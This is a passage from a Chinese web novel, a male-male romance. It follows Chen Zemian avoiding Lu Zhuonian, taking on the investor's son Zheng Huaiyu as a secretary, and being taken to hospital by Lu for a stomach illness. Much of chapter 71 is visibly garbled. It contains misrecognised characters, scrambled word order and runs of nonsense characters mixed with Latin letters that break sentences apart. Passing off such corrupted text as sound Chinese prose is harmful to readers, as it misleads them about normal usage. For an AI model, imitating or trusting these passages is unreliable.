“看什么看,”陈则眠被瞧得有点臊,炸毛道:"没听说过厚积薄发吗!" 陆灼年转开视线,语调中带了几分恍然:“原来厚积薄发是这个意思,领教了。” 陈则眠揉了下鼻子,强行转移话题道:“你今天怎么又犯病了?不是和叶少出去喝酒了吗?” 陆灼年沉默半晌:“不要把这两件事放在一起说,听起来很怪。” 陈则眠无所谓地耸耸肩,猜测道:“你心情不好……是因为留学的事?” 陆灼年应了一声。 陈则眠刚想开口,陆灼年忽然抬手捂住他的嘴。 陆灼年淡淡道:“劝我的话就不用再说了。” 陈则眠也知道陆灼年不想听这些,可去哈佛留学是原书中极其关键的剧情节点。 陆灼年将在哈佛认识很多人,后来构建扩展商业版图时,大部分海外产业都与这些人有着千丝万缕的联系。 陈则眠倒不是觉得陆灼年一定要复刻书中的成功之路,他只是担心剧情的改变是因为自己。 而且自从他开始治病,陆灼年性.瘾发作的次数好像不减反增。 短短两个月都发作三次了,这个频率怎么看都不太对。 陈则眠拽开陆灼年的手:“我是想问你最近性.瘾发作的怎么这么频繁?” “都没有再吃药了,”陆灼年用陈述的语气说:“以前只有吃帕罗西汀压制不住的时候才算发作,像这种轻微的情况,只需要吃一粒药就能好。”陈则眠点点头,松了一口气:“哦,原来是这样,我还以为给你越治越糟了呢。” 陆灼年说:“没有。” 陈则眠又问:"那你觉得有好转吗?" 陆灼年乌黑的眸子沉了沉,垂眸思忖片刻,忽而笑道:“病情有好转,可我想要的更多。” 闻言,陈则眠心里猛地一突。 医生早就说过,性.瘾患者的行为需求会不断升级。 第一次用手,上次用嘴,这次用腿。 下次要用什么,陈则眠根本不敢细想! 70、第70章 陈则眠不知道陆灼年对他有什么心思。 他没有看到陆灼年的内心贪求,不了解对方有多么强的侵占欲和控制欲。 陈则眠只觉得陆灼年最近性瘾发作频繁,却不知陆灼年从前足足吃了三倍的药量,才能若无其事地和他相处,表现得与常人无异。停药的影响很大。 但陈则眠不知道这些,他只知道陆灼年需求越来越多。 医生确实说过,性瘾患者的行为需求会不断升级,可陈则眠没有想到的是,升级竟然升得这么快。 虽然他很乐意为陆灼年治病,但倘若要进一步贡献的话,还是有点儿超过了。 可要是真发展到那一步,自己该怎么办呢? 是就这样吧爱咋咋地,从此不做兄弟做炮.友,还是一拳把陆灼年打走,以后连朋友都不做了。 好像无论哪种情况都很难接受。 所以陈则眠并不想改变现状。 他不想进也不想退,觉得现在这样就很好, 要是能停留在现在这步就好了,又很爽,又不用伤筋动骨。各种意义上的伤筋动骨。 身体上、心灵上、关系上,都伤。 巨伤。 那不是一般的伤筋动骨,是内伤,严重的内伤。 胳膊腿断了还能去医院看看,要是因为这个伤了身体,他连医院都不好意思去!秉承着科学的态度、学习的精神,陈则眠还翻了层层网站,专门找了个片子研究。他瞅了半天,发现不管从哪个角度看,陆灼年都不可能是下面叫得要死要活的那个。 所以那个嗷嗷叫的人只能是他! 陈则眠看的时候觉得恶心巴拉的,嘴里有点反酸水,中午吃完饭就吐了。陆灼年端了杯温水给他,问:“你又吃什么不该吃的东西了?胃疼吗?”陈则眠捂着肚子趴在沙发上,虚弱地摇摇头。他没有吃不该吃的,只是看了不该看的。眼睛脏了,大脏特脏。他还是太高估自己了,原来自己也不是什么都能看,什么都能接受的。从那天起,陈则眠就开始躲着陆灼年了。 倒不是怕陆灼年对他做什么,主要是怕自己拒绝不了陆灼年对他做什么。 毕竟刚开始他对嘴这件事也很抗拒啊! 还是先躲躲吧,冷静一下,顺便清理清理大脑里那些乱七八糟的东西,再趁机把碎掉底线捡起来粘粘,看看还能不能用。 说来也巧,这段时间正好赶上新游戏《和平战场》过审上线,陈则眠工作室和射击场两头跑,本来也挺忙的。 陆灼年开学后,基本上很少去射击场了,大二下半年课程紧张,早八的课也多,陈则眠有时候加班到太晚,就找借口不回盛府华庭,说回去他自己折腾,也打扰陆灼年休息。一天两天倒不明显,只是时间久了,再迟钝的人会发现不对劲,偏偏陈则眠还以为自己掩饰得挺好。 陆灼年也没说什么,竟随他去了。 萧可颂看陈则眠近期独来独往,还颇觉诧异,私下里悄悄问叶宸:“陈则眠最近怎么都自己一个人,他和灼年吵架了?” 叶宸说:“先管好你自己。” 萧可颂一记眼刀:“我好着呢!” 叶宸问他:“你英语学得怎么样了?” 萧可颂的气势肉眼可见地缩了回去,说:“不怎么样,灼年真的不去留学了吗?” 叶宸微微颔首:“大概率是。”萧可颂不解:“为什么啊。”叶宸不答反问:“你觉得呢?”萧可颂义愤填膺:“我现在搞不懂他,还有陈则眠也是,上次喊他出来玩都不来,我让灼年叫他,灼年竟然也不叫,他俩是掰了吗?”叶宸闻言忽地一笑,说:“放心,谁掰他俩都掰不了,陈则眠确实挺忙,灼年可能是……”欲擒故纵。萧可颂见叶宸话讲到一半不说了,追问道:“是啥?”叶宸似笑非笑:“我也不知道。”“……”萧可颂越想越气:“一个两个都那么难约,也不知道是真忙还是假忙。”陈则眠是真忙。除了游戏之外,另外还有件事也让他忙活得够呛——他主业明明是游戏策划,但不知道让谁给传成教育大师了。谣言在整个京市豪门圈越传越广,那些富商阔太、权贵名流们,基本都知道了陈则眠能改造少爷。这可不是无稽之谈,刘、叶两家就有成功案例,两位小少爷活生生摆在那里,变化之大有目共睹,由不得人不信服。不少人蠢蠢欲动,都想把家里管教不了的不肖子孙送到陈则眠身边改造历练。今天这个做东、明天那个邀请,都想约陈则眠出来见面详谈。陈则眠一拒再拒,表示自己根本无心举办什么‘京圈少爷变形记’大讲堂,之前两次真的都是意外,请各位大佬不要以讹传讹。他主业是游戏策划,代管刘越博的活儿是为了攒钱做游戏,给叶玺戒网瘾也是正好专业对口。新手游上线前后,正是他最忙的时候,游戏工作室是草台班子,投资、宣传、运营,维护都得陈则眠亲自牵头来做,本职工作尚且自顾不暇,确实没时间管别人家的孩子了。这话前天才说出去,第二天工作室就收到了四五个资本公司发来的投资意向书。最有诚意的一家甚至附上了《代运营协议》,承诺一旦达成合作意向后,他们将从公司内部抽调人才,成立运营专班,替陈则眠的游戏工作室进行包括宣传、运营,维护在内的所有日常工作。工作室从此可以彻底从事务性工作中解放出来,只负责开发游戏和更新版本,其他的一切问题全都由他们解决。投资公司又是送钱又是送人,要求的分红比例却低得离谱,甚至也没有任何对赌条款,和白送几乎没有区别。陈则眠看着眼前的《投资协议》,主动提出增加投资公司的分红比例。投资公司的人却说:“陈总您就不用客气,这都是我们董事长郑董的意思……说到送钱送人,我们董事长家的小郑总刚刚毕业,听说您身边还缺个秘书,不知道能否让我们小郑总跟着您学习学习。"陈则眠放下笔:“郑董绕了这么大个圈子,原来是为了这事儿。”投资公司的人说:“也怎么能叫绕圈子呢?我们郑董说,他投资过的项目几百上千个,可却只有小郑总这么一个儿子,在麻烦陈总帮忙之前,替陈总消除后顾之忧是我们应该做的事。"郑董是老江湖,话说得漂亮,事做得更漂亮。这么一份百利而无一害的《投资协议》放在面前,陈则眠心动不已,忍不住问:“那郑董是想让我做什么呢?”投资公司的人说:“只要能让小郑总按时上下班就好了。本来郑董是把他安排到分公司的,但您也知道,下面的人怎么好管教董事长家的公子呢,小郑总每天说来就来说走就走,晚上还总去酒吧夜店彻夜不归,把郑董气得都高血压了。”陈则眠犹疑道:"那小郑总晚上想出去玩怎么办,需要我去夜店抓人吗。"投资公司的人笑了笑:“那倒不用,只要看着点他,别让小郑总和那些狐朋狗友胡玩就好。”陈则眠问:“那我带他玩别的行吗?”投资公司的人:“您说的‘别的''是指?”陈则眠:“射击赛车、电子游戏之类的。”投资公司的人出去给郑董打了个电话,回来后转达了郑董的意思——“只要不去夜店招蜂引蝶,玩什么都行。”陈则眠痛快道:“那没问题。”《投资合同》是上午签的。下午三点,郑董的儿子就来找陈则眠报道了。 小郑总名叫郑怀毓,容貌俊美非凡,帅得像个男模。 陈则眠穿越至今,见过的帅哥美女不计其数,但能用漂亮来形容的男人却没几个。 郑怀毓就是个很漂亮的男人。 他的漂亮不同于陈折的澄莹明澈,而那种是靡丽至极的华美,双目温柔,未语先笑,像是一朵开到极致的牡丹,每一株花蕊都裹着诱人的粉蜜,非常有吸引力。难怪郑董会用‘招蜂引蝶’四个字来形容自己的儿子,还真是形容精准,所言非虚。陈则眠进门的时候,郑怀毓正斜靠在沙发上,撑着手,有一搭没一搭地和前台小姑娘说话。 “…….” 看到陈则眠的刹那,郑怀毓微不可查地挑了下眉,问前台:“这是你们陈总吗?”前台回头看见陈则眠,脸‘唰的一下红了:“陈总。”郑怀毓懒洋洋地扬起下巴,漫不经心地笑了笑:“陈总好。”陈则眠本来是想过来看一眼,就把郑怀毓扔在工作室,没想到郑大公子魅力惊人,这么一会儿工夫他们前台就被迷住了。为了防止郑怀毓继续招蜂引蝶,陈则眠决定还是亲自带着他更安全。陈则眠先交代了一些工作上的事情,然后就带着郑怀毓去射击场上班了。办公楼停车场里停了不少车,但都没有那辆紫色的帕加尼风神扎眼。 郑怀毓轻轻‘曜’了一声:“陈总都有自己的工作室了,每天还要去射击场上班啊。” 陈则眠打开车门:“是啊。”郑怀毓随手拉过安全带:"工资够加油吗?"陈则眠刚说了一句‘可以'',手机就响了。是陆灼年。陈则眠接起电话:“陆少。”郑怀毓眼神微微一动,转头看向陈则眠。陆灼年的声音从听筒中传出:“今天回家吗?”陈则眠戴上耳机,转动方向盘把车开出停车场:“我先去射击场一趟,忙完就回。”陆灼年淡淡道:“我就在射击场。”陈则眠没想到陆灼年在,闻言呆了呆:“啊?你今天没课?” 陆灼年说:“今天周六,陈则眠,你是不是又昼夜颠倒,日子都过乱了。” 陈则眠听到陆灼年这样说,心像是被抓了一下。 陆灼年又说:“早上家里阿姨熬了海鲜粥,她知道你爱吃就多熬了些,送来才发现你不在,月底了,我正好要到射击场查账,就带过来了,在食堂的砂锅里煨着,你回来记得吃。” 陈则眠总算听出点异样来,感觉陆灼年可能发现自己在躲他了,想要说些什么解释,却听陆灼年继续道。 “我这就回去了。” 陆灼年语调不疾不徐,讲出的话很体面,知道陈则眠在躲他,也不问原因,反而大度地告诉他:你放心来吧,我走了。 陈则眠所有的话都被堵回嗓子眼,憋得胸口发闷,只讪讪说了句:“这就回去了吗?”陆灼年应道:“嗯,账都看完了。”陈则眠下意识瞥了眼导航:“我还有40分钟到射击场。”陆灼年声音很稳,听不出丝毫情绪,只是陈述事实似的说:“那时候我都到家了。” 陈则眠嘴唇动了动,话到嘴边又咽回去,看着前方来往不息的车流,手指不自觉握紧方向盘。陆灼年一言不发。通话频道内骤然安静下来,耳机里只有彼此的呼吸声。谁也没再说话,但也没人先挂电话。郑怀毓坐在陈则眠旁边,只隐约能听见那位‘陆少′的声音,对方具体讲了什么内容,他不是很清楚。但他根本不用听清对话,只从气氛上就能察觉出这两个人不对劲。 更何况陈则眠的回答本就前后矛盾—— 开始最表达的是‘可能不会回家′,听到陆少在射击场的时候还很惊讶,神色也僵了一瞬。 然而对面没说几句,陈则眠态度又有变化。 先是问‘这就走了吗’,又说自己‘还有四十分钟就到''。 这两句话的意思太过明显。 即便嘴上没明说,但在有心人听来,也是句句都是挽留了。 按照陆少只不动声色地讲了三两句话,就能对陈则眠的想法产生影响这点来看,对面应该是个情商和智商都极高的人,而且必然是对陈则眠有一定的了解。在‘高情商+高智商+很了解’的三重基础上,这位陆少不可能听不出陈则眠的挽留。 可他却装作没听懂的样子。 除了在逼陈则眠主动开口挽留以外,郑怀毓想不出其他解释。 综合上述判断,可以得出以下结论: 电话那边的这位陆少可能在追陈则眠,但陈则眠估计没太想好,有点躲着他,两个人应该是有段时间没见面了。 陆少打这个电话过来,就是钓鱼。 恋爱的拉扯郑怀毓见得很多,本来不觉得分析出这些有什么意思。 可对面‘陆少’啊。 被他老爹郑董安排过来之前,郑怀毓也打听过陈则眠这个人。 陈则眠认识的少爷很多,但姓陆的只有一位——赫赫有名的京圈大太子,陆灼年陆少爷。 这就很有意思了。 毕竟这么年以来,陆大少身边干净像张白纸,男的女的老的少的都没有,突然开始追人,还是追一个男人,这可是桩新鲜到不能再新鲜的大事了。郑怀毓侧头看向陈则眠,也不得不承认陆灼年眼光是真好。 也是真挑。 好看到陈则眠这个地步的人虽少,但也不是没有,但陈则眠身上有股拽拽的劲儿。 比月光鲜活、比清泉澄澈、比长风潇洒。 陈则眠感觉到郑怀毓看他,也偏头看了郑怀毓一眼。 在看到陈则眠双眸的刹那,郑怀毓愣了愣。 那是双非常、非常漂亮的眼睛,好似揉碎了万千星辉流岚,才凝结出那动人心弦的润泽与透亮。 郑怀毓突然产生一种惺惺相惜之感。 终于又遇见了同类。 郑怀毓对所有美丽的生物都抱有无限善意,并在内心中坚定地认为他们才是一个物种。 这么顶尖的美人应当受到保护,就算是陆家太子爷追,也得上点难度才行。 眼看陈则眠按了下耳机,就要开口咬钩。 千钧一发之际,郑怀毓突然轻笑一声,直接打断了两个人关于去留问题的博弈。 听到这声轻笑,陆灼年果然开口:“什么声音。” 71、第71章 听到郑怀毓笑声时,陆灼年面色就是一沉。 看到这个人从的咖加尼副驾下车的瞒间,面色更是一沉再沉。 陈则眠用他的车带别的男人也就算了,竟然还给那个男人开车。 到底是谁?陆灼年站在办公室落地窗前,居高临下,将二人言行举止尽收眼底。郑怀毓长了张很好认的脸,和陈则眠走在一起,一个艳丽如牡丹,一个清朗如舞月,真是说不出的养眼。路的纷纷看呆了眼,原本说说笑笑的几人同时境了高,中满是惊绝,也不和同行人说话了,注意力全在那两张出生绝艳的脸上,都走出老远了还在回头看,差点没头撞树上。陆灼年眸光深暗,一言不发。投资商郑董家的大公子,怎么突然出现在陈则眠身边?陈则眠虽然在躲陆灼年,但这并未影响两人的关系好坏,他依旧十分关心陆灼年。走进办公室之后,见到陆灼年脸色如此难看,陈则眠还以为是射击场的账务出了什么问题,连忙上前细细问询了一番。陆灼年听到陈则眠关切的语气,神情才缓和了一些,低声说了句没事,又吩咐保镖把食堂后厨煨着的海鲜粥端上来。说是只有海鲜粥,但一并端上来的,还有几道新鲜的清爽小菜和陆宅里出了名好吃的酒酿虾,主食也做了两种,分别是成口丝瓜烙和甜口的玉米烙。陈则眠平日里爱吃的菜肴都被端了上来,错落有致地摆上了陆灼年的办公桌。公司的资产负债表、利润表、现金流量表、银行流水等各项财务报表,都被随手推到桌子角落,堆叠到财务进门就眼前一黑的程度。会计小姐抱着各项报表走出办公室大门时,没忍住翻了白眼。从前他们这位陆大少看账的时候,办公桌上连一杯水都不让摆,现在可好,吃的喝的全摆满了,也没见大少爷皱下眉。陆灼年不仅允许办公桌上摆满食物,还把自己的真皮老板椅让了出来,跟陈则眠说:“坐下慢慢吃。”郑怀毓看到眼前这一幕,微不可察地挑了下眉。陆灼年把他当成空气。除了见面时相互打了个招呼以外,陆灼年就再没和郑怀毓说过话,按照他以往进退有度的行事作风,就算不想理睬也有的是方法将人支走。可他这次却没这样做,状若无意又十分明显地把人晾在了一边。甚至没有问他为何会和陈则眠一起过来,好像根本也不在意他们是怎么认识的。陆家和郑家是世交,老一辈之间还相互结过姻亲,有嫁有娶,算是沾亲带故。郑家大公子和陆灼年相识已久,交集不多,却也没有矛盾,莫名其妙遭了冷待的原因显而易见郑怀毓非但不恼,反而觉得有趣。他抱臂半倚立柜边,看着陈则眠在主位上坐下来,陆大少亲自盛了碗粥。郑怀毓眸光流转,突然又站了起来。陆灼年面无表情,看着他款款走向陈则眠。陈则眠往里抻了抻椅子:"你也没吃饭吗?要不要一起吃点。“郑怀毓未语先笑,玉雕股的手捻起汤勺,俯身递给陈则眠:“我不饿,陈总,我就是忽然想起来我是您的秘书,应该服侍您用餐。”陈则眠被口水呛了一下:“咳咳咳,不用了吧。”郑怀毓抬手去接陆灼年手里的粥碗:“要的。”陆灼年没松手,话是问郑怀毓,眼睛垂眸看向陈则眠:“你给他当秘书?”"是郑董安排的陈则眠抢先回答闻言,陆灼年心中划过一丝了然。通过短短两句交谈的内容,他很轻易地就听出了郑怀毓跟着陈则眠的原因。原来又是收钱办事。陆灼年心情略微好转:“原来如此,那郑公子自便就好,不用亦步亦趋,天天跟着陈则眠。”郑怀毓却是忽然间起了范儿,抚了抚没有半分褶皱的衣襟,端得是一派明月清风、轩若霞举,讲话也是文绉绉的:“家里让我跟着陈总做事,父母之命,不敢不从。”陈则眠有点奇怪的看了郑怀毓一眼,不清楚郑大公子忽然开屏为哪般。这是和陆灼年雄竞上了?陆灼年长眸划过一丝冷光:“你爸给他投了多少钱。”旧名怀毓说,陈则眠了陆的年袖子一下,小声说:“真的很多。”陆灼年看向陈则眠抓在他袖口上的手指,心里的气略消了些,把粥碗放在陈则眠面前:“为了钱什么活儿都接。”囔道:“因为很多啊。”陈则眠嘟见状,郑怀毓忽而又笑了:“外面都说陆少和陈总关系匪浅,如今看来果然所言非虚。”陆灼年又另拿了个汤勺放进粥里:“你知道就好。”郑怀每流疑惑道:签投资合同这么大的事,陈总者都没和陆少提过吗?陆灼年握了握汤勺:“他的事情,我不会干涉。”郑怀毓更加不解:“可我怎么记得签订合同前,陈总好像说过要把合同发给朋友,请他帮忙看看。”“”陈则眠:“原来陈总说的那位朋友,不是陆少啊。郑怀毓恍然道: 陆灼年:“…” 陈则眠整个人简直该炸了,侧头震惊地看向郑怀毓,用眼神问他:你是想让我死吗。 郑怀毓但笑不语。陈则眠心说他可是棋逢对手了,带了这么多少爷,第一回反被少爷整,真是因果循环,报应不爽。刘越博和叶玺要是知道他有今天,必定会弹冠相庆、拍手称快。也是遇上活爹了。陈则眠深吸一口气:“郑公子,我找个人带你参观射击场吧,你看看有什么想玩的。”郑怀毓微微一笑:“陈总不用客气,我在这里等你就好。”“那多没意思。”陈则眠说:郑怀毓:“我爸让我眼累你,不许我到处塘玩,我总不好第一天就阳奉阴违,怎么也得等投资款项全都打到你们工作室账上,才好让你交差。”这话说的有理有据,陈则眠确实无法反驳,只好说:“那你先稍坐片刻,等我吃完饭带你玩。”管埋,看到陆灼年冷沉如水的睑色 通情汁理地占占 ÷h土向九公完外而的 .“那我在外面竿你 阵总郑怀毓管杀不陈则眠见郑怀毓往外走,略微放松下来:“郑公子不用这么客气,叫我名字就好。”郑怀毓回过头,莞尔一笑:“好的,则眠。”咔吧一声闷响,陆灼年掰断了手里的青玉槽木筷。陈则眠起身又送了郑怀毓两步,连推带引,总算送走了这位活。陆灼年略微好转的心情急转直下,不由问道:“这么大的少爷也要你带?”陈则眠说:“郑公子情况比较特殊。”陆灼年一针见血:“是郑董给的条件特殊吧。”陈则眼时过头,继续压着声音和法灼年辨悄怕话:“郑重始我们工作室投了好大一笔钱,还给了运营回队,这是花截都买不着的好处。陆灼年:“给你这么多好处,可见郑怀毓有多棘手。”则眠低下头,拿起的子喝粥,把郑道说郑不够招鲜写螺的事情讲了:“我本来以为是弯张,结果他就到我们工作室几分钟,就勾得我们前台移不开眼睛,你说怪不奇怪。”陆灼年漫不经意道:“郑公子风流多情,名声在外,你来得晚,没听过他的故事。”陈则眠非常好奇:“啥故事?”“郑怀毓有个非常特殊的癖好,他只跟美人做朋友。”陆灼年语调不紧不慢:“无论男女,都只做朋友,不谈感情,好的时候对人干娇万宠,百依百顺,引得别人为他如痴如狂,又飘然离去,再不回头。”陈则眠瞪大了眼睛:“啊?”陆灼年:“远的就不说了,他在F国留学那四年,一段恋爱都没有谈过,但却有好几个人追他追到国内来。”陈则眠质啧称奇:“还有从国外追过来的?这也太有魅力了。”陆灼年也不得不承认郑怀毓的奇异之处:“他长了张很漂亮的脸,无怪乎郑董会用招蜂引蝶四个字来形容,确实贴切。”陈则眠说:“郑董开出的条件太好了,我是看中那一整个运行团队,郑公子再难带,也比运行游戏省心吧。”"那倒也是,”陆灼年点了点头,问陈则眠:“新游戏什么时候上线?“陈则眠激动道:“下周五晚上八点正式上线,应用商城里已经开启了预下载通道,光是预约人数就已经近百万了。”炎地笑了笑:牵起一道弧度,很浅“提前恭喜你了,则眠。"陆灼年陈则眠正在啃酒酿虾,闻言叼着虾抬起头:“怎么现在就恭喜,那天晚上再说也来得及啊。”“新游戏上你肯定我就不当晚很忙打电占你通讯时间了。”陆灼年陈则眠迷茫地歪了下头:“啊?你那天晚上家里有事吗?”陆灼年整理着桌面上剩余的文件:“没事。”陈则眠愣了几秒才反应过来—陆灼年的意思不是他那天晚上要回陆宅,而是默认陈则眠不回盛府华庭。两个人下周五晚上不会见面,所以恭喜才要打电话。虽时*就总的年的房子,也起则眠自己省不相回去,但做用躲在外的这-划,还是有种说不社的防从联则心限而出。他喉咙里像是堵了什么东西一样难受,嘴里美味鲜甜虾肉也有点发苦。陈则眠突然间就饱了。陆灼年见陈则眠放下筷子,叫了人进来收抬碗筷,自己也站起身,拿起了椅背上的外套。陈则眠莫名有些委屈,但也不知道自己在委屈什么。他今天只喝了一小碗粥,陆灼年都没发现他比平时喝得少了吗?上次他们起吃饭的时候自己还吐了,陆灼年这次也没有问他是不是身体不舒服。陈则眠耷拉下脸,恹恹地坐在椅子上不说话,默默生气。最气的是不知道自己在气什么。胃里沉甸甸的,他又有点儿想吐了。陈则眠高兴不高兴都特别挂脸,可以说是喜怒皆形于色。陆灼年当然知道自己说完那句话之后,陈则眠的情绪就肉眼可见地衰落下去。他有点心疼,但还是故意假装没看到。陈则眠已经将近一个星期都没回家了,陆灼年怎么可能没发现对方在躲着他。陈则眠的演技又那么差。 他很想和陈则眠谈一谈,却一直没找到合适的机会。 明明之前还好好的。 怎么就忍然避他如丸如竭了呢。向来久居上位、运若唯磁的陆灼年,也不可避免的感到院然但对陈则眠,陆灼年不取抱有这样的期望。他可以把陈则眠叫回家,但他不想那样做酒迫和引导还是有区别的。他尽品用温和的于段把陈则联的旧他边,了解过对方的想法,陆灼年才知道该何解决问题但麻频总是比问题的解决更先一步到来。年刚穿好外套,还没说自己要走,除则眼就又吐了。则眠周里一阵翻流,口得双眼通红,睫毛上沾满了生理性的眼泪。他下马桶冲水键,括着肚子到洗于台前,寒着张脸,面无表情地口洗脸时灼年肢了敞卫生间的门:“你好点了吗,陈则眠。”陈则眼或被胃液灯得制痛,声音也异常沙哑:“你还没走啊。”陆灼年:直够记仇的。“我不知道你身体不舒服,”陆灼年推开门,把手里的水递给陈则眠:“怎么又吐了?胃疼吗?”陈则眠按过水喝了两口,单手撑着洗手台,也没说话,只是用红通通的眼睛瞥了陆灼年一眼时灼年往前走了半步,在陈则眼对面站定:“别生气了,我先带你去医院。”陈则眠冷笑道:“不用,我就是吃饱了撑的,陆少日理万机,忙您自己的事儿去吧。”陆灼年忍不住轻笑一声,反问:"我日理万机?"陈则眠偏过头不看陆灼年,紧绷着一张俊脸,颊侧还沾着洗完脸后没擦净的水珠。又倔又能,气性还特别大。明明先躲开的是他,现在发脾气的也是他。陆灼年还没做什么,只是抛了个诱饵想把人引回家,陈则眠就先把自己气吐了。病着就更能闹了。陆灼年在心里叹了口气,拿出丝帕,轻轻抹去他脸上的水:“也不知道是谁天天忙得不回家。”陈则眠抿了抿嘴唇:“那又不是我家。”陆灼年说:“也可以是。”陈则眠心脏陡然一颤:"什么意思?"陆灼年把丝帕放到陈则眠手上:“写个赠予协议,再带你去房产局过户,不就是你家了。”“……”M, n口页AL乐烟由的年管画和,酒画世限起,保是自oTH4响:响你里什2?陈则眠手指不自觉蜷起,握紧手中的丝帕:“我想要之前那样。”陆灼年很平静地说:“可以。”陈则眠觉得陆灼年十分敷衍,抬起头瞪着他,眼睛里闪烁着愤怒的火苗:“我还没有说是哪样!”陆灼年说:“都可以。”都、都可以?陈则眠然烧的气焰瞬间熄灭,愣愣地看着陆灼年。的年网没有丝每变化,仿保只是在保达斑定的实,又仿在某个响弃了国于可的利“你想怎么样都可以的,陈则眠。” 72、第72章 在陆灼年毫无底线的退让下,陈则眠就是有再大的脾气也发不出来了。 况且他本来就是小狗脾气,来得快去得也快。 陆灼年又温声轻语地哄了他几句,他就忘了自己还在生气,乖乖跟陆灼年走了—— 连去干什么都没问。 直到司机将车拐上另一条路,陈则眠才发现这不是回盛府华庭的路。 “去哪儿?”他问陆灼年。 陆灼年说:“医院。” 一听医院这两个字,陈则眠就觉得麻烦。 挂号要排队、问诊排队、检查也要排队,检查完要等好久报告单,然后拿着报告单再回去排队给医生看,最后开了药去药房,拿药也要排队。 “私人医院不用排队,"陆灼年告诉陈则眠:“你去了就能见到医生,报告单也很快。” 快是快,但是也贵啊。 陈则眠想起陆灼年上次那一针好几千的麻药,猜测私人医院的经营模式可能是走价不走量。不过这次去的事陆家的医院,就算花再多钱,最后也都会回到陆家账户上,也算是经济闭环了。 陆灼年怎么可以这么有钱! 好气! 汽车飞速向前,陈则眠和陆灼年坐在后座上,两个人中间隔了不近不远的一段距离,谁也没再说话。 沉默冷落的气氛在车厢内漫延。 陆灼年坐姿端正,西装扣子解开一颗,双膝略微分开,左手垂落在身侧,右手随意放在膝盖上。 他英俊的面庞上没什么太多表情,薄唇抿出一条看不出喜怒的弧度,眉峰如刀刃般锋利,睫毛浓密似羽扇,眼睑微微垂敛,乌黑深邃的双眸里凝着化不去的矜贵与疏离。 忽然间,陈则眠好像有点不认识陆灼年了。 又或者说,是重新看清了陆灼年。 陆灼年一直都是高冷淡漠、拒人于千里外的,陈则眠会觉得陆大少温煦随和,是因为他们太熟悉也太亲近。 距离的过分拉近令两个人形象变得模糊,渐渐融化成一团温和可亲的影。 陈则眠几乎都快忘了,陆灼年原本是这样高不可攀、难以接近的一个人。 不过是一个多星期未见,两人之间莫名生出种阔别已久的生疏。 陆灼年不说话,陈则眠也不知道该说些什么。 不说就不说吧。 陈则眠把卫衣帽子往脑袋上一扣,倚着车窗窝在角落里闭眼假寐。陆灼年看了眼缩成鹌鹑的陈则眠,眸中划过一丝浅淡的笑意。 陈则眠本来是装睡,但他的睡眠质量众所周知,闭上眼睛以后,车还没开出两条街,他就真睡着了。 直到陆灼年把他头顶的帽子摘下来,陈则眠才迷迷糊糊张开眼。 陆灼年说:"到了。" 陈则眠解开安全带,自发自觉地往门诊大厅走。问诊时,陈则眠不可避免的交代了一些陆灼年不知道的病情。 比如他最近一段时间经常胃痛,吃完东西会反胃恶心,稍微多吃一些就会吐。 医生看建议他做个胃镜详细检查一下。 陈则眠虽然不是很想做,但还是勉强点了头。 他对自己的身体有所了解,知道这次病得确实有些严重了。 陆灼年直接给他约了明天早上的全麻胃镜。 陈则眠在检查单上签完字才想起来:“不是有那种吞小机器人的吗?” 医生说:“还是传统胃镜检查的能清楚些,全麻胃镜不会有太多不适,睡一觉醒来就做好了。” 陈则眠:“好吧。” "检查前需要8小时禁食,今天尽量进食流质食物。" 医生嘱咐完病人,又对陆灼年说:“家属要特别注意一下,牛奶豆浆、饺子面包都属于食物,什么都不可以吃,记住了吗。” 陆灼年点点头,拿起检查单收好,带着陈则眠离开了诊室。 陈则眠无精打采。 倒不是因为害怕做胃镜,主要是担心检查结果不好。 他从穿越过来那天起就有胃痛的毛病,拖了这么久不看,也是有点讳疾忌医的意思,总觉得不是什么大问题,吃些药就能扛过去,以后饮食方面注意点慢慢就能养好了。 但陈则眠这个人自制力极差,每次胃痛好了就忘了自己胃病的事,该吃什么吃什么,该喝什么喝什么,生冷油腻、海鲜辛辣都没少吃,作息又长期不规律,所以胃病不仅没有养好,反而有愈发严重的趋势。 尤其是不回盛庭华府之后,没人给他做饭,陈则眠连着吃了几天外卖,情况就更糟了。 这几天,他基本上每天都会吐。 刚才在诊室里,由于陆灼年就杵在身边,陈则眠都没敢跟医生说,他这两天吐的食物里偶尔会有血丝。 反正就是胃出血嘛,明天做胃镜也能检查出来,都拖了这么多天了,也不差这半天。 晚说一天就晚挨一天训,没准明天陆灼年看他做完胃镜惨兮兮的样子,就不忍心凶他了。 陈则眠还是有点怕陆灼年的,因为陆灼年会管他,但陈则眠不讨厌这种感觉,甚至很乐意被陆灼年管。 他自己管不住自己,非常需要一个能管住自己的人,要不就以他这种活法,保不齐哪天就又G了。 这不是杞人忧天,也不是危言耸听,穿书前陈则眠就是这么死的。 他那时候的身体比现在好很多,但陈则眠还是熬夜把自己熬猝死了。 为了避免重蹈覆辙,既然做不到自律,找一个人帮忙‘他律’就尤为重要了。 陆灼年很了解陈则眠。 以陈则眠天不怕地不怕的性格,能二话不说同意做胃镜检查,肯定身体出现了什么‘不做不行’的症状。在医生面前只说自己胃痛呕吐,但这些天疼了几次、吐了几次都没有说,问还有什么其他症状也是吞吞吐吐。想到这里,陆灼年脸色也不大好看。 他是对陈则眠原本采取放养的态度,不想逼迫对方做什么不愿意地做的事情,结果人才放出去几天,就把自己养成了这样。陈则眠见陆灼年面色阴沉,莫名心虚气短,扔下一句‘明天我会按时来检查′就想跑。陆灼年抬手拽住了陈则眠的帽子。 陈则眠:"!!!" 每次被陆灼年拽帽子,陈则眠都会想下次再也不穿带帽子的衣服了,结果挑挑拣拣,每回出门随手一捞,还是穿卫衣方便。陆灼年也不说别的,押解犯人似的,直接把陈则眠提上了车。 “回盛府华庭。”陆灼年吩咐道。 陈则眠还被抓着帽子,转头扒拉陆灼年的手:“我还有事呢陆少。” 陆灼年淡淡睨了他一眼:“我对你太宽纵了,陈则眠。” 陈则眠气势弱了半截,小声嘀咕道:"我真有事。" 陆灼年面容冷淡,声音也带着种无机质的冷感:“你可以想做什么就做什么,可以想去哪儿就去哪儿,但这都有一个前提。” 陈则眠扭头看着陆灼年,清亮的眸子里没有防备,闪动着熠熠的光,毫无戒心地问:“啥前提?” 陆灼年不答反问:“你觉得呢?” 陈则眠观察着陆灼年的神色,揣测道:“看你心情?” 陆灼年轻笑一声:“你觉得我最近心情很好?” 陈则眠又开始心虚,垂下头讷讷不语。 “你躲着我不想见,”陆灼年抬手扳起陈则眠的下巴,注视着他的眼睛,说:“我也可以不找你,不只是这一个星期,以后也都能做到,但你必须得把自己养好一点。”陈则眠眸光有刹那闪烁,反驳道:“我没有。” 